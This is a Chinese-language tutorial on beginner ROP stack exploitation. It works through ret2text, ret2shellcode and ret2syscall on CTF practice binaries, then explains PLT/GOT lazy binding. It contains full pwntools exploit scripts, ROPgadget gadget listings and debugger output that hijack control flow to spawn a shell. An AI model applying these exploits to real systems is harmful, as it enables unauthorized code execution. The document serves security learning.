初级rop链

初级rop链概述

  1. 随着 NX 保护的开启,以往直接向栈或者堆上直接注入代码的方式难以继续发挥效果
  2. 攻击者们也提出来相应的方法来绕过保护,目前主要的是 ROP(Return Oriented Programming),其主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程
  3. gadgets 就是以 ret 结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程之所以称之为 ROP(核心在于利用了指令集中的 ret 指令,改变了指令流的执行顺序)
  4. ROP 攻击一般得满足如下条件:
  • 程序存在溢出,并且可以控制返回地址
  • 可以找到满足条件的 gadgets 以及相应 gadgets 的地址

1.ret2text

1.概述

ret2text 即控制程序执行程序本身已有的的代码 (.text)

2.演示(基于攻防世界-pwnstack)

1.检查check sec文件保护

image-20240407221758958

这里开启nx保护,

2.ida查看代码

image-20240407221953679
int __cdecl main(int argc, const char **argv, const char **envp)
{
 initsetbuf(argc, argv, envp); // 调用initsetbuf函数,可能用于初始化缓冲区设置
 puts("this is pwn1,can you do that??"); // 打印字符串"this is pwn1,can you do that??"到标准输出
 vuln(); // 调用vuln函数,可能是一个存在漏洞的函数
 return 0; // 返回0,表示程序正常退出
}

3.这里的vuln函数可能存在栈溢出,进入查看

image-20240407222423487
// 定义一个长度为160字节的缓冲区buf,用于存储输入的数据
char buf[160]; // [rsp+0h] [rbp-A0h] BYREF

// 将缓冲区buf的内容全部设置为0,以确保缓冲区的初始化
memset(buf, 0, sizeof(buf));

// 从标准输入中读取最多177个字节的数据到缓冲区buf中
read(0, buf, 0xB1uLL); // read函数的第一个参数是文件描述符,第二个参数是缓冲区地址,第三个参数是最大读取的字节数

// 返回一个64位整数0,表示函数执行成功并正常退出
return 0LL;

这里char分配了160个字节的空间,但是read函数可以传入177个字节的数值

这里就可以利用read函数进行溢出覆盖函数返回值,执行shellcode

4.发现存在后门函数,找到地址进行利用

image-20240407222903058
image-20240407222931222

5.exp

这里的第一个exp我们直接取的backdoor函数的开始地址,但是出现了报错
image-20240407224336561
from pwn import *
context.log_level="debug"
p =process("./pwn2")
payload=b"a"*0xa0+b"a"*0x8+p64(0x0000000400762)
p.recvuntil("this is pwn1,can you do that??\n")
p.sendline(payload)
p.interactive()

这里是直接读取的函数开始

text:0000000000400762                               ; __unwind {
.text:0000000000400762 55                           push   rbp
.text:0000000000400763 48 89 E5                     mov     rbp, rsp
.text:0000000000400766 BF 38 08 40 00               mov     edi, offset command             ; "/bin/sh"
.text:000000000040076B B8 00 00 00 00               mov     eax, 0
.text:0000000000400770 E8 FB FD FF FF               call   _system
.text:0000000000400770
.text:0000000000400775 90                           nop
.text:0000000000400776 5D                           pop     rbp
.text:0000000000400777 C3                           retn
.text:0000000000400777                               ; } // starts at 400762
正常来说对函数的呼叫是call,这里跳转后是push和mov但是一个main函数只允许存在一个而否则会报错
.text:0000000000400762 55                            push    rbp
.text:0000000000400763 48 89 E5                      mov     rbp, rsp

所以我们跳转到

.text:0000000000400766 BF 38 08 40 00                mov     edi, offset command             ; "/bin/sh"
更改后的脚本
from pwn import *
context.log_level="debug"
p =process("./pwn2")
payload=b"a"*0xa0+b"a"*0x8+p64(0x0000000400766)
p.recvuntil("this is pwn1,can you do that??\n")
p.sendline(payload)
p.interactive()

2.ret2shellcode

1.概述

  1. shellcode 指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的 shell(一般来说,shellcode 需要我们自己填充)
  2. 是另外一种典型的利用方法,即此时我们需要自己去填充一些可执行的代码
  3. 在栈溢出的基础上,要想执行 shellcode,需要对应的 binary 在运行时,shellcode 所在的区域具有可执行权限

2.演示基于ctfwiki ret2shellcode

1.老规矩check sec查看保护

image-20240409171426402

发现基本没有打开保护

2.ida反编译源文件

image-20240409171545079
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[100]; // [esp+1Ch] [ebp-64h] BYREF

setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No system for you this time !!!");
gets(v4);//没有限制v4的大小
strncpy(buf2, v4, 0x64u);//直接将v4赋值给buf2,可以栈溢出
printf("bye bye ~");
return 0;
}

3.可以看到bss段上面buf2的地址,但是没有找到后门函数

image-20240409171819579

考虑在buf2中写入shellcode将程序流程劫持到这里执行我们布置的shellcode

0x0804A080

4.结合思路,先检查buf2的rwx权限,利用vmmap查询

(kali㉿kali)-[~/Desktop/question/pwn/ctf_wiki]
└─$ gdb ret2shellcode
GNU gdb (Debian 13.2-1) 13.2
Copyright (C) 2023 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 156 pwndbg commands and 47 shell commands. Type pwndbg [--shell | --all] [filter] for a list.
pwndbg: created $rebase, $base, $ida GDB functions (can be used with print/break)
Reading symbols from ret2shellcode...
------- tip of the day (disable with set show-tips off) -------
heap_config shows heap related configuration
pwndbg> b main
Breakpoint 1 at 0x8048536: file ret2shellcode.c, line 8.
pwndbg> r
Starting program: /home/kali/Desktop/question/pwn/ctf_wiki/ret2shellcode
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main () at ret2shellcode.c:8
8 ret2shellcode.c: 没有那个文件或目录.
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────────────────────────
*EAX 0x804852d (main) ◂— push ebp
*EBX 0xf7e1dff4 (_GLOBAL_OFFSET_TABLE_) ◂— 0x21dd8c
*ECX 0x6d78d112
*EDX 0xffffcf90 —▸ 0xf7e1dff4 (_GLOBAL_OFFSET_TABLE_) ◂— 0x21dd8c
*EDI 0xf7ffcba0 (_rtld_global_ro) ◂— 0x0
*ESI 0x80485d0 (__libc_csu_init) ◂— push ebp
*EBP 0xffffcf68 ◂— 0x0
*ESP 0xffffcee0 —▸ 0xf7ffcff4 (_GLOBAL_OFFSET_TABLE_) ◂— 0x32f34
*EIP 0x8048536 (main+9) ◂— mov eax, dword ptr [0x804a060]
────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]────────────────────────────────────────────────
► 0x8048536 <main+9> mov eax, dword ptr [0x804a060]
0x804853b <main+14> mov dword ptr [esp + 0xc], 0
0x8048543 <main+22> mov dword ptr [esp + 8], 2
0x804854b <main+30> mov dword ptr [esp + 4], 0
0x8048553 <main+38> mov dword ptr [esp], eax
0x8048556 <main+41> call setvbuf@plt <setvbuf@plt>

0x804855b <main+46> mov eax, dword ptr [stdin@@GLIBC_2.0] <0x804a040>
0x8048560 <main+51> mov dword ptr [esp + 0xc], 0
0x8048568 <main+59> mov dword ptr [esp + 8], 1
0x8048570 <main+67> mov dword ptr [esp + 4], 0
0x8048578 <main+75> mov dword ptr [esp], eax
────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────
00:0000│ esp 0xffffcee0 —▸ 0xf7ffcff4 (_GLOBAL_OFFSET_TABLE_) ◂— 0x32f34
01:0004│-084 0xffffcee4 ◂— 0xc /* '\x0c' */
02:0008│-080 0xffffcee8 ◂— 0x0
03:000c│-07c 0xffffceec —▸ 0xffffcf54 —▸ 0xf7fc25d8 —▸ 0xf7ffdb9c —▸ 0xf7fc26f0 ◂— ...
04:0010│-078 0xffffcef0 —▸ 0xf7ffdb9c —▸ 0xf7fc26f0 —▸ 0xf7ffda30 ◂— 0x0
05:0014│-074 0xffffcef4 ◂— 0x1
06:0018│-070 0xffffcef8 —▸ 0xf7fc2720 —▸ 0x80482f1 ◂— inc edi /* 'GLIBC_2.0' */
07:001c│-06c 0xffffcefc ◂— 0x1
──────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────
► 0 0x8048536 main+9
1 0xf7c237c5 __libc_start_call_main+117
2 0xf7c23888 __libc_start_main+136
3 0x8048451 _start+33
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
Start End Perm Size Offset File
0x8048000 0x8049000 r-xp 1000 0 /home/kali/Desktop/question/pwn/ctf_wiki/ret2shellcode
0x8049000 0x804a000 r--p 1000 0 /home/kali/Desktop/question/pwn/ctf_wiki/ret2shellcode
0x804a000 0x804b000 rw-p 1000 1000 /home/kali/Desktop/question/pwn/ctf_wiki/ret2shellcode
0xf7c00000 0xf7c22000 r--p 22000 0 /usr/lib/i386-linux-gnu/libc.so.6
0xf7c22000 0xf7d9b000 r-xp 179000 22000 /usr/lib/i386-linux-gnu/libc.so.6
0xf7d9b000 0xf7e1c000 r--p 81000 19b000 /usr/lib/i386-linux-gnu/libc.so.6
0xf7e1c000 0xf7e1e000 r--p 2000 21b000 /usr/lib/i386-linux-gnu/libc.so.6
0xf7e1e000 0xf7e1f000 rw-p 1000 21d000 /usr/lib/i386-linux-gnu/libc.so.6
0xf7e1f000 0xf7e29000 rw-p a000 0 [anon_f7e1f]
0xf7fc2000 0xf7fc4000 rw-p 2000 0 [anon_f7fc2]
0xf7fc4000 0xf7fc8000 r--p 4000 0 [vvar]
0xf7fc8000 0xf7fca000 r-xp 2000 0 [vdso]
0xf7fca000 0xf7fcb000 r--p 1000 0 /usr/lib/i386-linux-gnu/ld-linux.so.2
0xf7fcb000 0xf7fed000 r-xp 22000 1000 /usr/lib/i386-linux-gnu/ld-linux.so.2
0xf7fed000 0xf7ffb000 r--p e000 23000 /usr/lib/i386-linux-gnu/ld-linux.so.2
0xf7ffb000 0xf7ffd000 r--p 2000 30000 /usr/lib/i386-linux-gnu/ld-linux.so.2
0xf7ffd000 0xf7ffe000 rw-p 1000 32000 /usr/lib/i386-linux-gnu/ld-linux.so.2
0xfffdd000 0xffffe000 rwxp 21000 0 [stack]
pwndbg>

结合上面的地址查看

image-20240409173211817
0x804a000  0x804b000 rw-p     1000   1000 /home/kali/Desktop/question/pwn/ctf_wiki/ret2shellcode

这里我下载的附件出了点问题,这里本来应该是rwxp可执行的,但是这里不可执行,俺就不管这个题目了,看看shellcode理解思路即可

发现了这个bug的原因:在Ubuntu16的环境上做的,如果是其他环境可能0x804a080处可能没有可执行权限

思路:

向v4写入shellcode同时将数据溢出把返回地址修改成0x804a080

同时程序本身把我们输入的数据复制到了0x804a080即buf2的位置

这样程序就可以被我们劫持到这个位置来执行shellcode

5.exp
from pwn import *

# context.log_level="debug"

p = process("./ret2shellcode")

shellcode = asm(shellcraft.sh())
buf2 = 0x804a080

payload = shellcode.ljust(112,b'a') + p32(buf2)

log.info(shellcraft.sh())
p.recvuntil("No system for you this time !!!\n")
p.sendline(payload)
p.interactive()

3.ret2syscall

1.概述

1. 漏洞利用基础

  • 栈溢出漏洞: ret2syscall通常利用栈溢出等缓冲区溢出漏洞,这些漏洞允许攻击者向程序输入的缓冲区写入超出其分配大小的数据,从而覆盖栈上的重要数据,如返回地址

2. 攻击原理

  • 利用返回地址覆盖: 攻击者通过向程序输入传递数据来覆盖函数调用栈上的返回地址。通常情况下,攻击者会将恶意代码的地址写入到返回地址所在的位置,以便在函数执行完毕后控制程序流程转至恶意代码处
  • 控制流劫持: 一旦攻击者成功覆盖了返回地址,控制流就会被劫持到攻击者指定的代码位置。这可以是攻击者自己编写的恶意代码,也可以是程序中某些原始的系统调用的地址

3. ret2syscall的特点

  • 绕过安全限制: ret2syscall通常用于绕过系统调用的安全性限制,尤其是针对内核态的攻击。在一些情况下,程序可能会将关键函数的地址硬编码到代码中,攻击者可以利用这些地址执行系统调用来获取更高的权限
  • 使用系统调用: 攻击者将返回地址设置为系统调用的入口点,然后在栈上放置适当的系统调用参数,以便执行特定的操作,如获取shell、读取或修改内存等

2.前置知识

1.系统调用概述

针对系统多线程的冲突和资源占用的问题,内核提供一系列具有预设功能的的内核函数,通过一组被叫做系统调用的接口提供给用户。

系统调用把应用程序的请求传给内核,调用相应的内核函数完成所需的处理,将处理结果返回给应用程序

2.系统调用的原理

现代操作系统通常利用==用户态和内核态来限制进程的权力

一般通过中断来处理用户态到内核态的切换

3.中断

中断指的是一个软件或者硬件传出请求,让cpu停止当前工作去处理更重要的事情

1.中断的两个属性
  1. 中断号
    • 中断号是用来标识不同类型中断的唯一标识符。每个中断都有一个对应的中断号
    • 中断号是由硬件或操作系统定义的,用于区分不同的中断类型
    • 在处理中断时,处理器使用中断号来确定需要执行哪个中断处理程序
  2. 中断处理程序
    • 中断处理程序是一个特殊的程序,用于处理特定类型的中断。当中断发生时,处理器会跳转到相应的中断处理程序中执行
    • 中断处理程序通常由操作系统或设备驱动程序提供,并在中断发生时由操作系统选择执行
    • 中断处理程序的功能包括保存现场状态、处理中断、执行必要的操作以响应中断,并最终返回到原来的执行流程

在操作系统中,中断号和中断处理程序的映射关系通常由中断描述符表(Interrupt Descriptor Table,IDT)或中断服务程序(Interrupt Service Routine,ISR)来管理。当中断发生时,处理器会根据中断号在IDT中查找对应的中断处理程序的地址,并跳转到该地址执行中断处理程序

2.中断的两种类型
  1. 硬件中断
    • 硬件中断是由硬件设备发出的信号,用于通知处理器发生了特定的事件或异常,例如设备完成了数据传输、发生了错误或需要处理器进行某种特定的操作
    • 硬件中断可以是外部中断(External Interrupt),来自外部设备(如键盘、鼠标、网卡等)的信号;也可以是内部中断(Internal Interrupt),由处理器内部的错误或异常触发
    • 当硬件中断发生时,处理器会暂停当前执行的任务,并跳转到相应的中断处理程序中执行,以处理中断事件
  2. 软件中断
    • 软件中断是由软件(通常是操作系统或应用程序)产生的中断信号,用于请求系统服务或执行特定的操作
    • 在x86架构下,软件中断通常通`int指令来触发。该指令将中断号作为参数,表示请求执行特定的中断服务程序(Interrupt Service Routine,ISR)
    • 软件中断允许用户通过执行特定的指令来请求操作系统提供的服务,如系统调用、异常处理、或其他特定的操作
3.中断向量

中断向量是一个数据结构,用于将中断号映射到相应的中断处理程序的地址。在操作系统中,中断向量通常由中断描述符表(Interrupt Descriptor Table,IDT)或中断向量表(Interrupt Vector Table)来实现。

  1. 中断描述符表(IDT)
    • 在x86架构中,操作系统使用中断描述符表(IDT)来管理中断向量。IDT是一个由中断描述符(Interrupt Descriptor)组成的表,每个中断描述符对应一个中断向量。
    • 每个中断描述符包含了与中断相关的一些信息,包括中断处理程序的段选择子和偏移量等。
    • 当中断发生时,处理器会根据中断号在IDT中查找相应的中断描述符,然后跳转到其中指定的中断处理程序的地址执行。
  2. 中断向量表
    • 中断向量表是一种将中断号映射到中断处理程序的地址的数据结构,通常由操作系统或硬件实现。
    • 不同的操作系统和硬件架构可能有不同的实现方式,但其基本原理是相似的:将中断号映射到相应的中断处理程序的地址。

在处理中断时,处理器会使用中断向量来确定应该执行哪个中断处理程序

4.中断的具体实现
  1. 异常(Exception)
    • 异常是指在程序执行过程中遇到的一些异常情况,如除零错误、内存访问异常等
    • 异常又分为故障(Fault)、陷阱(Trap)和夭折(Abort)。故障是一种导致程序无法继续执行的异常情况,陷阱是一种由程序中的指令显式触发的异常,而夭折是一种严重错误,导致程序被中止
    • 这些异常不会被中断控制器屏蔽,也无法被程序屏蔽,因为它们是由处理器内部的条件引发的
  2. 中断(Interrupt)
    • 中断是来自外部设备或处理器内部的信号,用于通知处理器需要进行某种操作或者响应外部事件
    • 中断分为外部可屏蔽中断(INTR)和外部非屏蔽中断(NMI)。INTR是可以被程序屏蔽的中断,而NMI是一种紧急事件,无法被程序屏蔽
    • 所有I/O设备产生的中断请求(IRQ)都是INTR,而一些紧急事件(如硬件故障)引发的中断是NMI
  3. 中断向量(Interrupt Vector)
    • 中断向量是一个索引,用于标识特定的中断或异常。它被用于查找中断处理程序的地址
    • 在Linux系统中,对256个向量的分配方式如下:
      • 0~31号向量对应于异常和非屏蔽中断
      • 32~47号向量分配给屏蔽中断
      • 48~255号向量用于标识软中断
5.linux下的中断
  1. 在Linux系统中,通常只使用一个中断向量来实现系统调用这个中断向量的编号通常是128(或0x80)对应于int 0x80指令当用户态下的进程执行int 0x80指令时,处理器会触发中断,并切换到内核态执行相应的系统调用
  2. 系统调用的具体操作由系统调用号来确定,而不是通过不同的中断号来区分
  3. 在Linux中,系统调用号通常存储在寄存器中(如eax),系统调用的处理程序会根据这个系统调用号来执行相应的操作
  4. 这种设计节省了中断号的使用,使得操作系统不需要为每个系统调用分配一个独立的中断号
  5. 相反,它使用一个统一的中断向量来处理所有的系统调用,通过系统调用号来区分不同的操作。这种设计使得系统调用的处理更加高效,并且可以轻松地添加新的系统调用而不需要分配新的中断号

4.系统调用的过程

  1. 应用程序调用库函数(API)
  2. API 将系统调用号存入 eax,然后通过中断调用使系统进入内核态
  3. 内核中的中断处理函数根据系统调用号,调用对应的内核函数(系统调用)
  4. 系统调用完成相应功能,将返回值存入 eax,返回到中断处理函数
  5. 中断处理函数返回到 API 中
  6. API 将 eax 返回给应用程序

5.应用程序调用系统调用的过程

  1. 把系统调用的编号存入 eax
  2. 把函数参数存入其它通用寄存器(对于参数传递,Linux也是通过寄存器完成的。Linux最多允许向系统调用传递6个参数,分别依次由ebx,ecx,edx,esi,edi和ebp这个6个寄存器完成
  3. 触发 0x80 号中断(int 0x80)
image-20240409221748485

3.演示基于CTF-Wiki bamboofox-ret2syscall

1.checksec检查CTF-Wiki bamboofox-ret2syscall文件保护机制

image-20240409223213786

开启了nx保护

2.ida查看文件

image-20240409223321057
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+1Ch] [ebp-64h] BYREF

setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("This time, no system() and NO SHELLCODE!!!");
puts("What do you plan to do?");
gets(&v4);
return 0;
}

这里的gets存在一个栈溢出漏洞没有检查v4的长度

而且没有找到后门函数,就只能利用程序中中存在代码片段,拼接可组成系统调用

只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们在执行 int 0x80 就可执行对应的系统调用

3.这里利用execve系统调用函数

要用到execve()这个系统调用,系统调用号为11(0xb)

1.函数原型
int execve(const char *filename, char *const argv[], char *const envp[]);

后面两个参数用不到我们可以置为0

第一参数我们要传入/bin/sh来get shell

要想控制寄存器和查找字符串可以使用ROPgadget这个命令来在程序中寻找控制我们想要的寄存器的汇编指令

2.函数利用的原理
  • 利用它将原来的进程的栈和所有段的数据丢弃,并替换为新的进程(同时进程的id不会改变)
  • 与fork函数一起使用,先 fork() 一个子进程,然后在子进程中使用 execve() 变为运行指定程序的进程
3.使用的思路

1.大体思路

  • 当用户在 Shell 下输入一条命令启动指定程序时
  • Shell 就是先 fork() 了自身进程,然后在子进程中使用 execve() 来运行指定的程序

2.,先控制寄存器,即针对寄存器的具体实施操作

  • 系统调用号,即 eax 应该为 0xb,因为是execve所以是0xb
  • 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
  • 第二个参数,即 ecx 应该为 0
  • 第三个参数,即 edx 应该为 0

3.然后通过 int 0x80 这个特殊的语句,触发系统调用

实际上就产生了execve(“/bin/sh/”,NULL,NULL)的效果,返回了shell

4.要利用函数execve就要先控制eax,ebx,ecx,edx,esi,edi,ebp这几个寄存器

1.利用指令进行查看寄存器
ROPgadget --binary rop --only 'pop|ret' | grep 'eax'
ROPgadget --binary rop --only 'pop|ret' | grep 'ebx'
ROPgadget --binary rop --only 'pop|ret' | grep 'ecx'
ROPgadget --binary rop --only 'pop|ret' | grep 'edx'
  1. ROPgadget: 这是一个工具,用于自动检测给定二进制文件中的ROP链元素
  2. --binary rop: 这里的--binary参数告诉ROPgadget工具,后面跟着的是要分析的二进制文件的路径(rop是文件名称,这里就在rop的路径下打开的而终端)
  3. --only 'pop|ret': 这个参数指示ROPgadget只提取包含popret指令的ROP链元素
  4. popret指令是在构建ROP链时经常使用的指令,因为它们可以帮助控制程序流和寄存器状态
  5. |: 这是一个管道操作符,它将命令的输出传递给下一个命令
  6. grep 'eax': grep命令用于在文本中搜索匹配指定模式的行。在这里,它用于从之前命令的输出中筛选出包含eax的行
1.eax
image-20240410214656293
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bb196 : pop eax ; ret
0x0807217a : pop eax ; ret 0x80e
0x0804f704 : pop eax ; ret 3
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
2.rbx
image-20240410215914857
0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret
0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret
0x080be23f : pop ebx ; pop edi ; ret
0x0806eb69 : pop ebx ; pop edx ; ret
0x08092258 : pop ebx ; pop esi ; pop ebp ; ret
0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10
0x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14
0x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc
0x08048547 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4
0x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8
0x08048913 : pop ebx ; pop esi ; pop edi ; ret
0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 4
0x08049a94 : pop ebx ; pop esi ; ret
0x080481c9 : pop ebx ; ret
0x080d7d3c : pop ebx ; ret 0x6f9
0x08099c87 : pop ebx ; ret 8
0x0806eb91 : pop ecx ; pop ebx ; ret
0x0806336b : pop edi ; pop esi ; pop ebx ; ret
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret
0x0805c820 : pop esi ; pop ebx ; ret
0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0807b6ed : pop ss ; pop ebx ; ret
3.ecx
image-20240410220000774
0x0806eb91 : pop ecx ; pop ebx ; ret
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
4.edx
image-20240410220056539
0x0806eb69 : pop ebx ; pop edx ; ret
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
0x0806eb6a : pop edx ; ret
0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret
2.发现可以控制四个寄存器的地址

1.rax可在0x080bb196利用

0x080bb196 : pop eax ; ret

2.ebx和ecx和edx三个寄存器在第二次查询时发现可以在0x0806eb90同时利用

0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret

5.查询以及利用/bin/sh字符串或者sh字符串

指令

ROPgadget --binary rop  --string '/bin/sh' 
image-20240410220855008

6.查找利用int 0x80指令触发0x80号中断

指令

ROPgadget --binary rop  --only 'int' 
image-20240410221102949

7.exp

1.思路
  1. 通过栈溢出漏洞改写返回地址,不返回到函数地址上,返回我们控制寄存器的指令的地址上
  2. 在触发中断之前我们先要在eax中保存系统调用号(由于我们需要execve()系统调用所以我们需要存入0xb)
  3. 然后给系统调用传入参数,第一参数在ebx(0x80be408:/bin/sh),第二个参数在ecx(0),第三个参数在edx(0)
  4. 最后执行int 0x80来触发中断
2.exp实现
from pwn import *

# 设置日志级别为调试,以便输出更多调试信息
context.log_level = "debug"

# 启动一个本地进程,加载名为“rop”的二进制文件
p = process("./rop")

# 定义ROP链中使用的各个地址
pop_eax = 0x080bb196 # 用于从栈中弹出一个值并存放到eax寄存器中的地址
pop_ebx_ecx_edx = 0x0806eb90 # 用于从栈中弹出三个值,分别存放到ebx、ecx和edx寄存器中的地址
bin_sh = 0x80BE408 # 存放字符串 "/bin/sh" 的地址
int_0x80 = 0x08049421 # 执行系统调用的地址

# 构造ROP链payload
payload = b'a' * 112 # 用'a'填充到缓冲区溢出位置,直到覆盖到保存的返回地址
payload += p32(pop_eax) # 将pop_eax地址添加到payload中,用于设置eax寄存器
payload += p32(0xb) # 将系统调用号为11(execve)放入eax寄存器
payload += p32(pop_ebx_ecx_edx) # 将pop_ebx_ecx_edx地址添加到payload中,用于设置ebx、ecx和edx寄存器
payload += p32(0) # 将ebx置为0(通常是指向字符串的地址)
payload += p32(0) # 将ecx置为0(通常是用于execve系统调用的第三个参数,即环境变量)
payload += p32(bin_sh) # 将/bin/sh字符串地址作为参数放入到edx寄存器中
payload += p32(int_0x80) # 将int_0x80地址添加到payload中,用于触发系统调用

# 发送payload到进程
p.recvuntil("What do you plan to do?\n")
p.sendline(payload)

# 与进程进行交互,以便手动输入或输出
p.interactive()

4.延迟绑定机制的利用

1.延迟绑定机制的原理

之前自己写的简单的学习博客libc的延迟绑定机制 – 梦是现实的延续,现实是梦的终结 (giraffexiu.love),仅供参考

这里再此简述一下引自文章Pwn基础:PLT&GOT表以及延迟绑定机制 (qq.com)

1.linux的动态链接

概述

动态链接是一种在程序运行时将程序代码和库文件链接到一起的技术。在动态链接中,程序在运行时才会去查找和加载所需的库文件,而不是在编译时就将所有的库文件链接到可执行文件中

调用的过程如下:
  1. 编译阶段
    • 在编译时,程序代码会引用一些函数或符号,这些函数或符号可能在其他库文件中定义。
    • 编译器会生成一些特殊的链接信息,指示哪些库函数在程序执行时需要动态链接。
  2. 链接阶段
    • 在链接阶段,编译器生成一个可执行文件,其中包含了程序的代码以及对动态链接库的引用。
    • 这些引用包括了库函数的名称以及它们在库文件中的位置(通常是一个名为PLT的表)。
  3. 运行时
    • 当程序被执行时,操作系统加载可执行文件到内存中,并开始执行。
    • 当程序执行到调用动态链接函数的地方时,会发生以下步骤:
      • 程序会通过PLT(Procedure Linkage Table)进行间接调用。PLT中的条目会指向一个特殊的代码段,称为PLT stub。
      • PLT stub会检查是否已经加载并绑定了所需的库函数。如果没有,它会触发动态链接器的调用。
      • 动态链接器会搜索系统指定的库文件路径,找到对应的库文件,并加载它们到内存中。
      • 一旦库文件被加载到内存中,动态链接器会解析函数地址,并将它们填充到PLT stub中。这个过程通常被称为符号解析。
      • 最后,PLT stub会跳转到正确的函数地址,执行所需的操作。
这里引用一段很形象的比喻:
关于动态链接与静态链接,可以打个比方就是:如果我的文章引用了别人的一部分文字,在我发布文章的时候把别人的段落复制到我的文章里面就属于静态连接,而给链接让你们自己去找着看就属于动态链接了

2.plt&got(linux 下的动态链接是通过 PLT&GOT 来实现)

根据实例来理解

1.示例源码
#include <stdio.h>
void print_banner()
{
printf("Welcome to World of PLT and GOT\n");
}
int main(void)
{
print_banner();
return 0;
}
2.以下指令生成编译(除了原有的 test.c 还有个 test.o 以及可执行文件 test)
gcc -Wall -g -o test.o -c test.c -m32
gcc -o test test.o -m32
3.objdump -d test.o 查看反汇编
图片

printf () 和函数是在 glibc 动态库里面的,只有当程序运行起来的时候才能确定地址

 printf () 函数先用 fc ff ff ff 也就是有符号数的 -4 代替
4.printf的调用流程

1.运行时进行重定位是无法修改代码段,只能将 printf 重定位到数据段

但是已经编译好的程序,调用 printf 的时候怎么才能找到这个地址

2.链接器会额外生成一小段代码,通过这段代码来获取 printf () 的地址,

进行链接的时候只需要对 printf_stub () 进行重定位操作就可以

.text
...
// 调用printf的call指令
call printf_stub
...
printf_stub:
mov rax, [printf函数的储存地址] // 获取printf重定位之后的地址
jmp rax // 跳过去执行printf函数
.data
...
printf函数的储存地址,这里储存printf函数重定位后的地址

运行时进行重定位是无法修改代码段的解析

对于大多数情况下,已经编译好的程序的代码段是不可修改的,因为代码段通常是只读的。这是为了确保程序的安全性和稳定性,防止在运行时意外修改了程序的代码,导致程序出现不可预料的行为或安全漏洞

因此,即使在运行时进行重定位,动态链接器也不能直接修改程序的代码段。动态链接器可以修改程序的数据段,比如PLT(Procedure Linkage Table)或GOT(Global Offset Table),但不能直接修改代码段
5.GOT表和PLT表的意义

动态链接每个函数需要两个东西:

  1. 用来存放外部函数地址的数据段
  2. 用来获取数据段记录的外部函数地址的代码

对应有两个表,一个用来存放外部的函数地址的数据表称为全局偏移表GOT, Global Offset Table),那个存放额外代码的表称为程序链接表PLT,Procedure Link Table)

画一个图理解一下

image-20240411181716243

可执行文件里面保存的是 PLT 表的地址,对应 PLT 地址指向的是 GOT 的地址,GOT 表指向的就是 glibc 中的地址

那我们可以发现,在这里面想要通过 plt 表获取函数的地址,首先要保证 got 表已经获取了正确的地址,但是在一开始就进行所有函数的重定位是比较麻烦的,为此,linux 引入了延迟绑定机制

3.延迟绑定机制的实现

1.延迟绑定机制基本逻辑
//一开始没有重定位的时候将 printf@got 填成 lookup_printf 的地址
void printf@plt()
{
address_good:
jmp *printf@got
lookup_printf:
调用重定位函数查找 printf 地址,并写到 printf@got
goto address_good;//再返回去执行address_good
}

流程详解:

  1. printf@got 是 lookup_printf 函数的地址(这个函数用来寻找 printf () 的地址)
  2. 写入 printf@got
  3. lookup_printf 执行完成后会返回到 address_good
  4. 再 jmp 的话就直接跳到 printf 来执行

总结:

如果不知道 printf 的地址,就去找一下,知道的话就直接去 jmp 执行 printf 了

2.延迟绑定机制中的寻找函数的而地址的操作

objdump -d test > test.asm 看到其中 plt 表有三条指令

Disassembly of section .plt:
080482d0 <common@plt>:
80482d0: ff 35 04 a0 04 08 pushl 0x804a004
80482d6: ff 25 08 a0 04 08 jmp *0x804a008
80482dc: 00 00 add %al,(%eax)
...
